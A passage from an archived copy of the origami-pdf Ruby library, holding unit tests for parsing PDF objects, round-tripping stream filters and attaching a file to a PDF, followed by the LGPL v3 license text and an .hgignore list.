@bytestring = StringScanner.new "(\\122\\125by\\n)" @hexastring = StringScanner.new "<52 55 62 79 0A>" @true = StringScanner.new "true" @false = StringScanner.new "false" @real = StringScanner.new "-3.141592653" @int = StringScanner.new "00000000002000000000000" @name = StringScanner.new "/#52#55#62#79#0A" end # def teardown # end def test_parsepdf @data.each { |file| assert_nothing_raised do PDF.read(file, :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET) end } end def test_parsedictionary dict = nil assert_nothing_raised do dict = Dictionary.parse(@dict) end assert dict[:Pi] == 3.14 assert dict[:a].is_a?(Dictionary) end def test_parsestring str = nil assert_nothing_raised do str = ByteString.parse(@bytestring) end assert str.value == "RUby\n" assert_nothing_raised do str = HexaString.parse(@hexastring) end assert str.value == "RUby\n" end def test_parsebool _true, _false = nil assert_nothing_raised do _true = Boolean.parse(@true) _false = Boolean.parse(@false) end assert _false.false? assert (not _true.false?) end def test_parsereal real = nil assert_nothing_raised do real = Real.parse(@real) end assert_equal real, -3.141592653 end def test_parseint int = nil assert_nothing_raised do int = Origami::Integer.parse(@int) end assert_equal int, 2000000000000 end def test_parsename name = nil assert_nothing_raised do name = Name.parse(@name) end assert_equal name.value, :"RUby\n" end end origami-pdf-1.2.7/test/tc_streams.rb0000644000175000017500000000530511645333134017607 0ustar terceiroterceirorequire 'test/unit' require 'stringio' class TC_Streams < Test::Unit::TestCase def setup @target = PDF.new @output = StringIO.new @data = "0123456789" * 1024 end # def teardown # end def test_predictors stm = Stream.new(@data, :Filter => :FlateDecode) stm.set_predictor(Filter::Predictor::TIFF) raw = stm.rawdata stm.data = nil stm.rawdata = raw assert_equal @data, stm.data stm = Stream.new(@data, :Filter => :FlateDecode) stm.set_predictor(Filter::Predictor::PNG_SUB) raw = stm.rawdata stm.data = nil stm.rawdata = raw assert_equal @data, stm.data stm = Stream.new(@data, :Filter => :FlateDecode) stm.set_predictor(Filter::Predictor::PNG_UP) raw = stm.rawdata stm.data = nil stm.rawdata = raw assert_equal stm.data, @data stm = Stream.new(@data, :Filter => :FlateDecode) stm.set_predictor(Filter::Predictor::PNG_AVERAGE) raw = stm.rawdata stm.data = nil stm.rawdata = raw assert_equal stm.data, @data stm = Stream.new(@data, :Filter => :FlateDecode) stm.set_predictor(Filter::Predictor::PNG_PAETH) raw = stm.rawdata stm.data = nil stm.rawdata = raw assert_equal stm.data, @data end def test_filter_flate stm = Stream.new(@data, :Filter => :FlateDecode) raw = stm.rawdata stm.data = nil stm.rawdata = raw assert_equal stm.data, @data end def test_filter_asciihex stm = Stream.new(@data, :Filter => :ASCIIHexDecode) raw = stm.rawdata stm.data = nil stm.rawdata = raw assert_equal stm.data, @data end def test_filter_ascii85 stm = Stream.new(@data, :Filter => :ASCII85Decode) raw = stm.rawdata stm.data = nil stm.rawdata = raw assert_equal stm.data, @data end def test_filter_rle stm = Stream.new(@data, :Filter => :RunLengthDecode) raw = stm.rawdata stm.data = nil stm.rawdata = raw assert_equal stm.data, @data end def test_filter_lzw stm = Stream.new(@data, :Filter => :LZWDecode) raw = stm.rawdata stm.data = nil stm.rawdata = raw assert_equal stm.data, @data end def test_filter_ccittfax stm = Stream.new(@data[0, 216], :Filter => :CCITTFaxDecode) raw = stm.rawdata stm.data = nil stm.rawdata = raw assert_equal stm.data, @data[0, 216] end def test_stream stm = Stream.new(@data, :Filter => :ASCIIHexDecode ) @target << stm stm.pre_build assert stm.Length == stm.rawdata.length @target.save(@output) end end origami-pdf-1.2.7/test/tc_pdfattach.rb0000644000175000017500000000072211645333134020065 0ustar terceiroterceirorequire 'test/unit' require 'stringio' class TC_PdfAttach < Test::Unit::TestCase def setup @target = PDF.new @attachment = "test/dataset/test.dummycrt" @output = StringIO.new end # def teardown # end def test_attachfile assert_nothing_raised do fspec = @target.attach_file(@attachment, :EmbeddedName => "foo.bar") end assert_nothing_raised do @target.save(@output) end end end origami-pdf-1.2.7/COPYING.LESSER0000644000175000017500000001672511354401425016172 0ustar terceiroterceiro GNU LESSER GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. This version of the GNU Lesser General Public License incorporates the terms and conditions of version 3 of the GNU General Public License, supplemented by the additional permissions listed below. 0. Additional Definitions. As used herein, "this License" refers to version 3 of the GNU Lesser General Public License, and the "GNU GPL" refers to version 3 of the GNU General Public License. "The Library" refers to a covered work governed by this License, other than an Application or a Combined Work as defined below. An "Application" is any work that makes use of an interface provided by the Library, but which is not otherwise based on the Library. Defining a subclass of a class defined by the Library is deemed a mode of using an interface provided by the Library. A "Combined Work" is a work produced by combining or linking an Application with the Library. The particular version of the Library with which the Combined Work was made is also called the "Linked Version". The "Minimal Corresponding Source" for a Combined Work means the Corresponding Source for the Combined Work, excluding any source code for portions of the Combined Work that, considered in isolation, are based on the Application, and not on the Linked Version. The "Corresponding Application Code" for a Combined Work means the object code and/or source code for the Application, including any data and utility programs needed for reproducing the Combined Work from the Application, but excluding the System Libraries of the Combined Work. 1. Exception to Section 3 of the GNU GPL. You may convey a covered work under sections 3 and 4 of this License without being bound by section 3 of the GNU GPL. 2. Conveying Modified Versions. If you modify a copy of the Library, and, in your modifications, a facility refers to a function or data to be supplied by an Application that uses the facility (other than as an argument passed when the facility is invoked), then you may convey a copy of the modified version: a) under this License, provided that you make a good faith effort to ensure that, in the event an Application does not supply the function or data, the facility still operates, and performs whatever part of its purpose remains meaningful, or b) under the GNU GPL, with none of the additional permissions of this License applicable to that copy. 3. Object Code Incorporating Material from Library Header Files. The object code form of an Application may incorporate material from a header file that is part of the Library. You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates (ten or fewer lines in length), you do both of the following: a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the object code with a copy of the GNU GPL and this license document. 4. Combined Works. You may convey a Combined Work under terms of your choice that, taken together, effectively do not restrict modification of the portions of the Library contained in the Combined Work and reverse engineering for debugging such modifications, if you also do each of the following: a) Give prominent notice with each copy of the Combined Work that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the Combined Work with a copy of the GNU GPL and this license document. c) For a Combined Work that displays copyright notices during execution, include the copyright notice for the Library among these notices, as well as a reference directing the user to the copies of the GNU GPL and this license document. d) Do one of the following: 0) Convey the Minimal Corresponding Source under the terms of this License, and the Corresponding Application Code in a form suitable for, and under terms that permit, the user to recombine or relink the Application with a modified version of the Linked Version to produce a modified Combined Work, in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source. 1) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (a) uses at run time a copy of the Library already present on the user's computer system, and (b) will operate properly with a modified version of the Library that is interface-compatible with the Linked Version. e) Provide Installation Information, but only if you would otherwise be required to provide such information under section 6 of the GNU GPL, and only to the extent that such information is necessary to install and execute a modified version of the Combined Work produced by recombining or relinking the Application with a modified version of the Linked Version. (If you use option 4d0, the Installation Information must accompany the Minimal Corresponding Source and Corresponding Application Code. If you use option 4d1, you must provide the Installation Information in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.) 5. Combined Libraries. You may place library facilities that are a work based on the Library side by side in a single library together with other library facilities that are not Applications and are not covered by this License, and convey such a combined library under terms of your choice, if you do both of the following: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities, conveyed under the terms of this License. b) Give prominent notice with the combined library that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 6. Revised Versions of the GNU Lesser General Public License. The Free Software Foundation may publish revised and/or new versions of the GNU Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library as you received it specifies that a certain numbered version of the GNU Lesser General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that published version or of any later version published by the Free Software Foundation. If the Library as you received it does not specify a version number of the GNU Lesser General Public License, you may choose any version of the GNU Lesser General Public License ever published by the Free Software Foundation. If the Library as you received it specifies that a proxy can decide whether future versions of the GNU Lesser General Public License shall apply, that proxy's public statement of acceptance of any version is permanent authorization for you to choose that version for the Library. origami-pdf-1.2.7/.hgignore0000755000175000017500000000033511441767030015743 0ustar terceiroterceirosyntax: glob pkg #doc *~ *.raw *.tps *.out *.nls *.nlo *.aux *.log *.toc *.out *.nav *.snm *.vrb *.pyc *.swp *.bak *.gz *.tar *.bz2 *.tgz *.tbz2 *.zip *.dvi *.bbl *.blg .DS_Store *.tps *.tcp *.ps *.old *.dot *.conf \._*